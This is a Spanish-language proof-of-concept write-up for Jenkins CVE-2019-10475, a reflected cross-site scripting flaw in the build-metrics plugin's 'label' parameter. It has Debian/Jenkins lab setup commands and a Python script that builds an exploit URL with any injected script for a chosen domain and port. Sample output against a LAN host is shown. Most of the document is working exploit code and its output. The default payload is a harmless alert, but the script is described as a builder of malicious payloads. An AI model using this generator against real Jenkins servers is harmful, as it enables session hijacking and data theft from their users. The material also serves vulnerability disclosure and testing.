POC rápido para Jenkins CVE-2019-10475 / SECURITY-1490 reportado el 2019-10-23. El problema se encuentra dentro del plugin build-metrics, que genera algunas métricas básicas de compilación. Se usa comúnmente con el plugin de enlaces de barra lateral de Jenkins.
Esta es una vulnerabilidad XSS reflejado simple y genérica. El problema es que el plugin no escapa correctamente el parámetro de consulta label.
El POC se realizó en Debian 10 (Buster), Jenkins 2.203 (última versión al 2019-11-05) y build-metrics 1.3.
# install jenkins
sudo apt-get install daemon psmisc net-tools openjdk-11-jre
wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add -
wget https://pkg.jenkins.io/debian/binary/jenkins_2.203_all.deb
dpkg -i jenkins_2.203_all.deb
sudo systemctl status jenkins
# activate using admin password
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
# get jenkins cli
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# install plugins
java -jar ./jenkins-cli.jar -s "http://localhost:8080" -auth admin:password -noKeyAuth install-plugin global-build-stats -restart
java -jar ./jenkins-cli.jar -s "http://localhost:8080" -auth admin:password -noKeyAuth install-plugin build-metrics -restart
El plugin vulnerable se puede encontrar en http://localhost:8080/plugin/build-metrics/, el parámetro vulnerable es label. Podemos inyectar un script simple de la siguiente manera:
Ver CVE-2019-10475.py, se puede utilizar para construir payloads maliciosos:
#!/usr/bin/env python
import sys
import argparse
VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search'''
def get_parser():
parser = argparse.ArgumentParser(description='CVE-2019-10475')
parser.add_argument('-p', '--port', help='port', default=80, type=int)
parser.add_argument('-d', '--domain', help='domain', default='localhost', type=str)
parser.add_argument('-i', '--inject', help='inject', default='<script>alert("CVE-2019-10475")</script>', type=str)
return parser
def main():
parser = get_parser()
args = vars(parser.parse_args())
port = args['port']
domain = args['domain']
inject = args['inject']
if port == 80:
base_url = f'http://{domain}'
elif port == 443:
base_url = f'https://{domain}'
else:
base_url = f'http://{domain}:{port}'
build_url = VULN_URL.format(base_url=base_url, inject=inject)
print(build_url)
return 0
if __name__ == '__main__':
sys.exit(main())
Uso:
$ python3 CVE-2019-10475.py --help
usage: CVE-2019-10475.py [-h] [-p PORT] [-d DOMAIN] [-i INJECT]
CVE-2019-10475
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT port
-d DOMAIN, --domain DOMAIN
domain
-i INJECT, --inject INJECT
inject
$ python3 CVE-2019-10475.py -p 8080 -d 192.168.1.75
http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=<script>alert("CVE-2019-10475")</script>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search